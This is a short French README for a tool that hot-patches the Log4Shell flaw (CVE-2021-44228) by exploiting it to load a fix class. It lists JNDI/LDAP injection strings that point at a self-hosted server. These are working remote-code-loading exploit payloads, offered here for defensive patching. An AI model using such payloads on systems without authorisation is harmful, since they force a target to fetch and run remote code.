cve-2021-44228-qingteng-online-patch

Qu'est-ce que c'est ?

Correction à chaud de CVE-2021-44228 en exploitant la vulnérabilité elle-même.

Comment l'utiliser

Injectez le code suivant dans tout endroit probablement vulnérable à CVE-2021-44228,

${jndi:ldap://votre-propre-serveur/patch}

Pour éviter une attaque MITM pendant le processus de correctif, la charge utile suivante est recommandée, mais avec une compatibilité moindre pour les anciennes versions de Java,

${jndi:ldap://votre-propre-serveur/any_string_except_patch}

Exécutez votre propre serveur

1. Téléchargez les dernières versions

2. Spécifiez les variables d'environnement système LOG4J_HOTFIX_HTTP_PATH et LOG4J_HOTFIX_HTTPS_PATH si vous souhaitez héberger Hotfix.class sur votre propre serveur